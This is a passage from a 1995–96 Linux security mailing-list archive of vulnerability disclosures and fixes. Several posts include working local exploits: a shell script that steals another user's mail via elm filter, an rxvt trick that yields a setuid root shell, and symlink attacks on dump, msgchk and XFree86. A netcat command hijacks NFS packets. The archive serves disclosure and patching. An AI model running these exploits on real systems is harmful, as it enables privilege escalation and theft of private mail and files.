executing mail's .mailrc file. The race condition ends when the program is preparing to shutdown /tmp/RxXXXXXX Used to read messages from the user's mail spool. The race condition ends during the program's startup, when the mail spool is read, and allows any new mail in the user's spool to be read. Because there is no user input between tinit() and this point, it is the only race condition that isn't completely trivial to exploit. The exploit that follows demonstrates the flaws in all but the final temporary file. To use, wait for a mail process to execute, then call the mailbug program with the process id as an argument, and finally execute a tail -f /tmp/R*, and let it run until the mail program has terminated execution. After it is over, remove the files you created in /tmp. As an aside, there are a number of programs that are vulnerable to a directed denial of service attack preventing people from using them by creation of the 62 temporary files that are attempted to be used by mktemp(), resulting in the failure of the program to run. By continous running of a program watching for these vulnerable programs to start, they can be prevented from ever successfully executing (one such example of this is in.pop3d, which would allow a denial of service attack against a specific user from recieving mail through pop). Program: mailx-5.5 (/bin/mail) Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5 Requirements: account on system, user using /bin/mail Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else) Security Compromise: any user with an account can read incoming, edited, or outgoing mail if the mail is processed by mailx. Author: Dave M. ([email protected]) Synopsis: The predictability of mktemp() is exploited to create the temporary files after the filenames have been determined but before they are actually created, allowing the mail being dumped to those temporary files to be read by the creator of the files. [mod: code removed. --okir] linux-alert/1995/CONTENTS100664 1767 1767 2400 6246256234 14161 0ustar majdommajdom linux-alert.9503: NFS deamon can be killed by normal users. Bogus post to Linux Alert NFS Vulnerability linux-alert.9504: security hole in old versions of at for Linux Hash signs in hosts.equiv Trojan in Linux Satan Binaries (fwd) Trojan in Linux Satan Binaries! Trojan in Linux Satan Binaries! linux-alert.9505: SECURITY: problem with some wu-ftpd-2.4 binaries Re: SECURITY: problem with some wu-ftpd-2.4 binaries linux-alert.9506: SECURITY: problem with yppasswdd linux-alert.9507: Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 linux-alert.9508: SECURITY ALERT: Dangerous hole in vacation v1.0. Ghostscript problem linux-alert.9509: Minicom 1.70 linux-alert.9510: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability linux-alert.9511: Telnetd Environment Vulnerability Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: BoS: Telnetd Environment Vulnerability Apology for errant post. linux-alert.9512: EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE PGP key compromise. 'ypupdated' hole, system crackers. Avalon Release SECURITY: Announcing Splitvt 1.6.3 mailx-5.5 (slackware /bin/mail) security hole linux-alert/1995/TOPICS100664 1767 1767 2652 6246256234 13736 0ustar majdommajdom'ypupdated' hole, system crackers. linux-alert.9512 (fwd) Trojan in Linux Satan Binaries! linux-alert.9504 Apology for errant post. linux-alert.9511 Avalon Release linux-alert.9512 Bogus post to Linux Alert linux-alert.9503 BoS: Telnetd Environment Vulnerability linux-alert.9511 EMERGENCY LINUX SECURITY FAQ UPDATE: ... linux-alert.9512 Fwd: CERT Advisory CA-95:14 - Telnetd... linux-alert.9511 Ghostscript problem linux-alert.9508 Hash signs in hosts.equiv linux-alert.9504 Linux Security FAQ Update#5: Cipher-3... linux-alert.9507 mailx-5.5 (slackware /bin/mail) secur... linux-alert.9512 Minicom 1.70 linux-alert.9509 NFS deamon can be killed by normal us... linux-alert.9503 NFS Vulnerability linux-alert.9503 PGP key compromise. linux-alert.9512 SECURITY: Announcing Splitvt 1.6.3 linux-alert.9512 SECURITY: problem with some wu-ftpd-2... linux-alert.9505 SECURITY: problem with yppasswdd linux-alert.9506 SECURITY ALERT: Dangerous hole in vac... linux-alert.9508 security hole in old versions of at f... linux-alert.9504 Telnetd Environment Vulnerability linux-alert.9511 Trojan in Linux Satan Binaries linux-alert.9504 Trojan in Linux Satan Binaries! linux-alert.9504 URGENT: Linux Security FAQ Update#7: ... linux-alert.9510 linux-alert/linux-alert.9601100664 1767 1767 110445 6103753036 15222 0ustar majdommajdomFrom [email protected] Tue Jan 2 06:03:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA00266; Tue, 2 Jan 1996 06:03:27 -0500 From: [email protected] Message-ID: Date: Tue, 26 Dec 1995 15:07:49 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: filter (elm package) security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] The elm filter under linux runs sugrp mail, thus allowing it to freely read and write from users mail spools. It is only through the integrity of its code that the security of linux's mail system is protected; and in this respect it falls short. The failure of the filter program to properly handle temporary files allows a user to read or write to any user's mail spool, a significant security hole. The specific problem that is exploited in this hole is the way filter uses a temporary file to store the input to it, and then subsequently send it back out according to the filter. Because of the modularity of the coding, in the main filter.c, the temporary file is opened, and then written to; after which it is closed. The mailmessage function is then called, with the purpose of forwarding that mail, written to the temporary file, to whatever destination is specified in the filter. At the start of this process, the temporary file is opened, and the contents of it are dumped to the mail spool of the user the mail is being forwarded to. At any point after the file has been initially opened by the main filter function, since the user running filter has permissions on that temp file, it can be rm'd. The temp file existing can then be replaced with a symbolic link to any file that group mail has read permissions on. When it is opened in the mailmessage function, the symbolic link is followed and whatever file that was pointed to will be read in, and the contents forwarded to the user specified in the mail spool. The complete exploits are shown below: Program: filter, an elm utility Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter Requirements: account on machine Security Compromise: user can read any mail spool readable by grp mail. (usually everything, sometimes not root) Author: Dave M. ([email protected]) Synopsis: filter writes out the mail to be forwarded to a temporary file, which is then closed and reopened; if when the temporary file is reopened it is a symlink to a mail spool, filter will proceed to forward the contents of that file as if it was the original message. #!/bin/sh # This shell script exploits a problem with filter(1L) # it will follow symbolic links, on a read allowing # us to steal a users mail file. # # Usage: fread.sh victimsusername # # Contents will be stored in ~/victimsusername.mail # # Dave M. ([email protected]) # cp /var/spool/mail/$LOGNAME ~ cp /dev/null /var/spool/mail/$LOGNAME echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp cat << _EOF_ >> /tmp/fread-msg.tmp >From: Dave To: $LOGNAME Subject: Filter Exploit _EOF_ echo sleep 2 > /tmp/fread-sh.tmp echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp chmod +x /tmp/fread-sh.tmp /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp & FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'` rm -f /tmp/filter.$FREAD ln -s /var/spool/mail/$1 /tmp/filter.$FREAD sleep 2 rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD FREAD= cp /var/spool/mail/$LOGNAME ~/$1.mail cp ~/$LOGNAME /var/spool/mail more ~/$1.mail From [email protected] Tue Jan 2 12:08:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA01799; Tue, 2 Jan 1996 12:08:15 -0500 From: [email protected] Message-ID: Date: Tue, 2 Jan 1996 05:05:40 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected] Subject: rxvt security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] There is a major security hole in rxvt, a terminal emulator for X, when it is run on systems suid root, as is required on many configurations in order to write to the utmp file. It is obvious from the code that this program was not written to be run suid root, its a pity that sysadmins that install the compiled versions of this sort of code don't see the same warnings of 'run suid root at your own risk' that the people that put together a distribution with it that way see in the makefile. The conditions that allow this particular hole to be exploited is rxvt compiled with the PRINT_PIPE option, and is running suid root. The program sets the pipe to "lpr", without a pathname, but its even easier than that to exploit because we can set the pipe to whatever we want with the -print-pipe option on the rxvt command line. Although the programs gives up its root privileges when forking to runn a shell or other command, the original program continues running suid root the entire execution of the program. Because the popen() call runs as root, whatever program that pipe opens will execute immediately as root. In order to start the printer pipe, the vt100 printer-on command is ESC[5i. The pipe can then be closed with the printer-off commad, ESC[4i. Exploiting this is extremely easy. Program: rxvt Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with rxvt suid root (and compiled with PRINT_PIPE) Requirements: account on system, X server Temporary Patch: chmod -s /usr/X11R6/bin/rxvt Security Compromise: root Author: Dave M. ([email protected]) Synopsis: rxvt fails to give up root privileges before opening a pipe to a program that can be specified by the user. Exploit: 1. Set DISPLAY environment variable if necessary so you can use x clients. 2. In user shell: $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug $ chmod +x /tmp/rxbug $ rxvt -print-pipe /tmp/rxbug 3. In rxvt xclient: $ cat ESC[5i ESC[4i (The client will close at this point with a broken pipe) 4. $ /tmp/rxsh # whoami root # From [email protected] Fri Jan 5 17:10:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id RAA12779; Fri, 5 Jan 1996 17:10:06 -0500 Message-ID: <[email protected]> Date: Fri, 22 Dec 1995 16:33:00 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: restorefont security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] Linux's svgalib utility restorefont, required to be suid root, has a problem in that it does not revoke suid permissions before reading a file. Similar bugs may exist in other svgalib utilities. The restorefont utility serves two functions. First, it will read a font from a file and write it to the console as the vga font. Second, it will read a font from the console and write it out to a file. Luckily, the specific bug in restorefont can only be exploited if someone is at the console, reducing its overall impact on the security of the system as a whole. In writing the utilities, the authors are aware of the fact that when writing out the font, suid permissions must first be given up; it is in fact commented as such in the code. However, when reading in a font, the program is still running with full suid root permissions. This allows us to read in any file for the font that root has access to (anything on a local fs). The applicable code to read in the file in restorefont is shown below: #define FONT_SIZE 8192 unsigned char font[FONT_SIZE]; if (argv[1][1] == 'r') { FILE *f; f = fopen(argv[2], "rb"); if (f == NULL) { error: perror("restorefont"); exit(1); } if(1!=fread(font, FONT_SIZE, 1, f)) { if(errno) goto error; puts("restorefont: input file corrupted."); exit(1); } fclose(f); We can see from this that the file to be read in has to be at least 8k, as if it is not, the program will produce an error and exit. If the file is at least 8k, the first 8k are read into the buffer, and the program proceeds to set whatever the contents of the file are to the font: vga_disabledriverreport(); vga_setchipset(VGA); /* avoid SVGA detection */ vga_init(); vga_setmode(G640x350x16); vga_puttextfont(font); vga_setmode(TEXT); At this point, the console will now look quite unreadable if you are reading something other than a font from that file. But, the data that is put into the font is left untouched and is readable using the -w option of restorefont. We then read the font back from video memory to a new file, and our job is complete, we have read the first 8k of a file we shouldn't have had access to. To prevent detection of having run this, we probably shouldn't leave an unreadable font on the screen, so we save and then restore the original font before reading from the file. The complete exploit is shown below: Program: restorefont, a svgalib utility Affected Operating Systems: linux - Slackware 3.0, others with svgalib Requirements: logged in at console Temporary Patch: chmod -s /usr/bin/restorefont Security Compromise: user can read first 8k of any file of at least 8k in size on local filesystems Author: Dave M. ([email protected]) Synopsis: restorefont reads a font file while suid root, writing it to video memory as the current vga font; anyone at console can read the current font to a file, allowing you to use video memory as an 8k file buffer. rfbug.sh: #!/bin/sh # This shell script exploits a problem with restorefont # it reads a file into the video memory as the vga font # and then writes the file back out from video memory # thus allowing any user at console to read 8k of any file # on a local filesystem. # # Usage: rfbug.sh filename-to-read filename-to-write # # Dave M. ([email protected]) # restorefont -w /tmp/deffont.tmp restorefont -r $1 restorefont -w $2 restorefont -r /tmp/deffont.tmp rm -f /tmp/deffont.tmp From [email protected] Fri Jan 12 13:21:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id NAA17280; Fri, 12 Jan 1996 13:21:04 -0500 Date: Fri, 12 Jan 1996 01:10:19 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List , [email protected] cc: Linux Announce Submit Subject: CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- [ LINUX SECURITY FAQ UPDATES ADMIN INFORMARION ] 1. The Linux Security FAQ Update #10 released on Jan 11, 1996 is hereby REVOKED. Please disregard information in the Linux Security FAQ Update#10 released on Jan 11, 1996 2. The Linux Security FAQ Update #10 released on Jan 12, 1996 is hereby made an OFFICIAL Linux Security FAQ Update#10 regarding the fvwm vulnerability. This is corrected LSF Update#10. In the version of LSF Update#10 dated January 11, 1996, and signed with a key "1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key " an error was made in the "Other Distributions" section. Unfortunatly, no one noticed that error prior to the Update being released. -- Alexander O. Yuriev ([email protected]) - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update Vulnerability of FVWM January 12, 1996 00:46:37 EST Copyright (C) 1995-96 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT A vulnerability exists in the FVWM version 1.24 and versions prior to that. This vulnerability allows intruders to execute programs as users other than themselves. Under certain circumstances if root uses fvwm, a compromise of a root account is possible. This Linux Security FAQ Update provides information about ways to fix this hole. RISK ASSESSMENT In certain situations local users can execute commands under different UID. Root compromise is possible only if root account is used to run fvwm, which is not advisable. SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) 2. Install appropriate distribution-specific fix Red Hat Commercial Linux 2.0 and 2.1 Marc Ewing ([email protected]) provided the following information about the official Red Hat RPM that fixes the hole. The RPM for Intel architecture can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/fvwm-1.24r-5.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.i386.rpm Users of RedHat/AXP should install fvwm for AXP architecture. It is available from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/fvwm-1.24r-5.axp.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat-2.1/fvwm-1.24r-5.axp.rpm Please verify the MD5 hash of the file prior to installing it. af4bb44d5f3a390f04c5b0467b00e2a6 fvwm-1.24r-5.i386.rpm 88ae8be7f633192ccbd2f0cb407b7ecc fvwm-1.24r-5.axp.rpm Caldera Network Desktop Preview II users should follow the instructions for Red Hat Commercial Linux 2.0 and 2.1 to install updated RPM Debian/GNU Linux Ian Murdock ([email protected]) provided the following information about the official fvwm replacement for the Debian/GNU Linux. The replacement can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/fvwm-1.24r-10.deb ftp://bach.cis.temple.edu/Linux/Security/DISTRIBUTION-FIXES/Debian/fvwm-1.24r-10.deb Please verify the MD5 hash of the file prior to installing it. 05958bb6eff51df2b933c268544c6541 fvwm-1.24r-10.deb Slackware All Slackware Linux distributions, including Slackware 3.0 use vulnerable fvwm. The maintainer of Slackware 3.0, Patrick J. Volkerding, did acknowledge the problem and but did not have Slackware specific patch on Jan 11, 1996. It is recommended that until the Slackware 3.0 package that fixes this fvwm hole becomes available, users of Slackware should follow instructions in the "Other Distributions" section. Yggdrasil All distributions of Yggdrasil Plus & Play Linux are believed to be vulnerable. Yggdrasil Inc, neither acknowledged the problem nor provided any information from which it could be concluded that their distributions are not vulnerable. It is recommended that even if Yggdrasil Inc, does not acknowledge the existence of this problem, users of Yggdrasil distributions should follow the instructions in the "Other Distributions" section. Other Distributions If there is no distribution specific package that fixes the fvwm security hole available at this time, it is recommended that either use of the fvwm should be discontinued, or a fixed version of fvwm used to create Debian/GNU Linux package should be installed. The source code of it is available from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/fvwm-1.24r-10.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/fvwm-1.24r-10.tar.gz Please verify the MD5 hash of the file prior to using it. 4bf102e2451ab7ae4fbc42712b3b79c2 fvwm-1.24r-10.tar.gz CREDITS This LSF Update is based on the information provided by Winfried Truemper ([email protected]), Marc Ewing ([email protected]), Olaf Kirch ([email protected]), Ian Murdock ([email protected]), Austin Donnelly ([email protected]) and Patrick J. Volkerding ([email protected]) - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX2PoxFUz2t8+6VAQHAvAQAh8OD8BRdwEB+44JxGhYvM95rPXLXfPMr je0AnkIuW/pHC/k0nZ80vI8/ZvYMfSBbElrijDyM0tL63G2Jkhl3UbQA0fuzmiKc C3445l5Z82+FYYI7ZdD9mw/aSs5QE82P0VT+XD83eN9laLoG2XwX39Yg1HrOrS7f RICO+g9Lwgk= =b41E - -----END PGP SIGNATURE----- -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX6Np0afeTWLUSJAQEMQwP/Rts1JcREak/OyQSwWCOit1tVNuwyeBIf gSjmEKoAoWAl0NmkfKHjhKV9Xn06HvjoA18P+P2o82hRbZMIVyQh8LmOtrMv3Aj2 eFCUz5W+fEbgwCjdSHV5St6G2itjZTgc1oQbAmE5vh6RoKjRw85HJDmv834PgMjO b8/VCDc4qbA= =sheq -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Sat Jan 13 18:24:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA23676; Sat, 13 Jan 1996 18:24:02 -0500 Date: Sat, 13 Jan 1996 17:25:05 -0500 (EST) From: "Alexander O. Yuriev" To: Linux Security Mailing List , [email protected] cc: Linux Announce Submit , [email protected] Subject: LSF Update#10: Another correction. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- [LINUX SECURITY FAQ UPDATES ADMIN NOTE] Another error was noticed in a Linux Security FAQ Update#10 regarding the vulnerability of fvwm 1.24. The LSF Update#10 reads: ***** BEGIN LSF UPDATE QUOTE ***** SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) ***** END LSF UPDATE QUOTE ****** The line "chmod +s /tmp (place a sticky bit on)" has to be read as "chmod +t /tmp (place a sticky bit on)". Please make the necessary changes in the protection mode of the /tmp directory --- Alexander O. Yuriev -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPgsCYxFUz2t8+6VAQGBfQP+LAzTvTpuMcIa2TFdThFX+Z8zBFBtp2Bu zqrLAHvLDUe8McFP8V9gRDIpc/rgFoNBjyVwrZ31ruK0RuqJ3363lq8iHebaVmni 4jacgKj4BBWVdN40RRQaK3qJ52lH7tebZvjw0wLAF6sYoXt3DHIsB+GM+B5T+aQz n0W24Bmof4s= =rsNv -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Mon Jan 22 12:22:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA00576; Mon, 22 Jan 1996 12:22:08 -0500 Date: Sun, 21 Jan 1996 14:34:22 -0600 (CST) From: Dan Walters X-Sender: [email protected] To: [email protected] cc: [email protected], [email protected] Subject: Linux: dip security hole Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [mod: I've removed the exploit code from this posting so that users can't exploit the hole too easily. The full posting has been approved to linux-security (and bugtraq, for that matter). An LSF update is being prepared. --okir] PROGRAM: dip 3.3.7n, and probably other variants AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified, others unknown. IMPACT: Local users can get superuser privleges. SYNOPSIS: Some Linux distributions come with dip setuid root by default. There are multiple points in dip where an unbounded buffer is used with user supplied data making possible a stack overflow. Functions in which this appears to be possible include do_chatkey() and mdm_dial(). WORKAROUND: It is suggested that at least until the source has been further scrutinized that dip not be setuid unless necessary. chmod 0755 dip If you must have dip setuid, place it in a group where it can only be executed by trusted users. SAMPLE EXPLOIT: [removed] -------------------------------------------------------------------- Dan Walters [email protected] From [email protected] Tue Jan 23 06:05:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id GAA03125; Tue, 23 Jan 1996 06:05:09 -0500 From: [email protected] Message-ID: Date: Mon, 22 Jan 1996 20:45:37 -0500 (EST) >From: David J Meltzer To: [email protected], [email protected], [email protected] Subject: dump RedHat security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [mod: Marc Ewing has already made available an RPM for this; the URL is ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm --okir] There is a security hole in RedHat 2.1, which installs /sbin/dump suid root. The dump program makes no provisions for checking file permissions, allowing any user on the system to read arbitrary files on the system. Dump checks permissions only on the directory you specify to backup, and not on files or subdirectories. The process to exploit this is to backup the files via dump as if it was a normal backup to a temporary file, and then restore the temporary file with /sbin/restore to your own directory. The solution is simple, don't run dump suid root on your system. Program: /sbin/dump incorrectly installed Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /sbin/dump Security Compromise: read arbitrary files on system Author: Dave M. ([email protected]) Synopsis: dump fails to check file permissions against user running dump, or to give up suid when backing up a filesystem. Exploit: $ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Tue Jan 23 14:46:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id OAA04991; Tue, 23 Jan 1996 14:46:26 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6.4 10/10/95 To: [email protected] Cc: Dan Walters , Bugtraq List , [email protected] Subject: Re: Linux: dip security hole In-reply-to: from Dan Walters on Sun, 21 Jan 1996 14:34:22 CST. Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 23 Jan 1996 11:01:03 -0500 From: Marc Ewing Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] A security hole exists in all shipped releases of the "dip" package for Red Hat Linux (for Intel architectures -- there is no dip for Red Hat/AXP yet). Users should immediately upgrade: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/updates/RPMS/dip-3.3.7n-3.i386.rpm MD5 sum: 3c94852a8fb636aa9b5407cae155e2ae dip-3.3.7n-3.i386.rpm -Marc From [email protected] Fri Jan 26 11:11:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA21386; Fri, 26 Jan 1996 11:11:21 -0500 Message-ID: Date: Wed, 24 Jan 1996 22:12:07 -0500 (EST) From: David J Meltzer To: [email protected], [email protected] Subject: Red Hat mh inc/msgchk security hole Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] [mod: This is not a terribly dangerous hole, but I'm approving this to linux-alert nevertheless. Making tools such as mail readers setuid root is a bad idea, anyway (IMHO). Marc Ewing has made an updated RPM available at ftp.redhat.com as /pub/redhat-2.1/i386/updates/RPMS/mh-6.8.3-4.i386.rpm Its MD5 sum is 32d61477bc9facfbad7315598d5dee91. --okir] There is a security hole in Red Hat 2.1, which installs /usr/bin/mh/inc and /usr/bin/mh/msgchk suid root. These programs are configured suid root in order to bind to a privileged port for rpop authentication. However, there is a non-security conflict between mh and the default Red Hat 2.1 configuration in that the /etc/services lists pop-2 and pop-3 services, but the mh utilities do lookups for a pop service, which doesn't exist, resulting in an inability to use any of the pop functionality. This may be a fortunate bug, since there may be more serious security holes within the pop functions of these two program. The security hole present in these two programs is that when opening up the configuration files in the user's home directory, root privileges are maintained, and symbolic links are followed. This allows an arbitrary file to to be opened. Fortunately, the program does not simply dump the contents of this file anywhere, and only certain formatting is allowed in the file to be processed by the program in order to see any output. In the cases where it will be processed, only the first line of the file will actually be output to the user. Program: /usr/bin/mh/inc, /usr/bin/mh/msgchk Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/bin/mh/inc /usr/bin/mh/msgchk Security Compromise: read 1st line of some arbitrary files Author: Dave M. ([email protected]) Synopsis: inc & msgchk fail to check file permissions before opening user configuration files in the user's home directory, allowing a user on the system to read the first line of any file on the system with some limitations. Exploit: $ ln -s FILE_TO_READ ~/.mh_profile $ /usr/bin/mh/msgchk /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Mon Jan 29 11:19:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id LAA11971; Mon, 29 Jan 1996 11:19:06 -0500 Message-ID: Date: Mon, 29 Jan 1996 00:16:46 -0500 (EST) From: David J Meltzer To: [email protected], [email protected], [email protected], [email protected], [email protected] Subject: XFree86 3.1.2 Security Problems Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] There are security holes in XFree86 3.1.2, which installs its servers as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, it does not take proper precautions to ensure that file permissions are maintained, resulting in the ability to overwrite files, and to read limited portions of other files. The [primary] problem stems from the server opening a temporary file, /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this file a symlink, the server will overwrite the original file, and then write to it its current pid. Program: XFree86 3.1.2 servers Affected Operating Systems: All systems with XFree86 3.1.2 installed Requirements: account on system Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* Security Compromise: overwrite arbitrary files Author: Dave M. ([email protected]) Synopsis: While running suid root, XFree86 servers do not properly check file permissions, allowing a user to overwrite arbitrary files on a system. Exploit: $ ls -l /var/adm/wtmp -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp $ ln -s /var/adm/wtmp /tmp/.tX0-lock $ startx (At this point exit X if it started, or else ignore any error messages) $ ls -l /var/adm/wtmp -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ From [email protected] Wed Jan 31 15:50:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id PAA25350; Wed, 31 Jan 1996 15:50:36 -0500 Date: Tue, 30 Jan 1996 15:18:21 -0800 (PST) From: "Aleph's K-Rad GECOS Field" To: [email protected] cc: [email protected], [email protected], [email protected] Subject: bind() Security Problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: special-delivery Reply-To: [email protected] System Call: bind() Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix Probably others. Requirement: account on system. Security Compromise: Stealing packets from nfsd, yppasswd, ircd, etc. Credits: *Hobbit* bitblt Aleph One Synopsis: bind() does not properly check to make sure there is not a socket already bound to INADDR_ANY on the same port when binding to a specific address. On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound width INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection. Exploit: Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz Make sure an nfs server is running: w00p% netstat -a | grep 2049 udp 0 0 *.2049 *.* LISTEN Run netcat: w00p% nc -v -v -u -s 192.88.209.5 -p 2049 listening on [192.88.209.5] 2049 ... Wait for packets to arrive. Fix: Linux: A patch was been sent to Linus and Alan Cox. It should be included with 1.3.60. My original patch (included bellow) allows for binds from the same uid, as some virtual hosting software like modified httpds, and ftpds, may break otherwise. Alan didnt like this, so all bind to the same port will not be allowed in newer kernels. You should be able to easily adapt this patch or Alan's patch to 1.2.13 without much trouble. Others: Pray to your vendors. --- begin patch --- diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c --- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995 +++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996 @@ 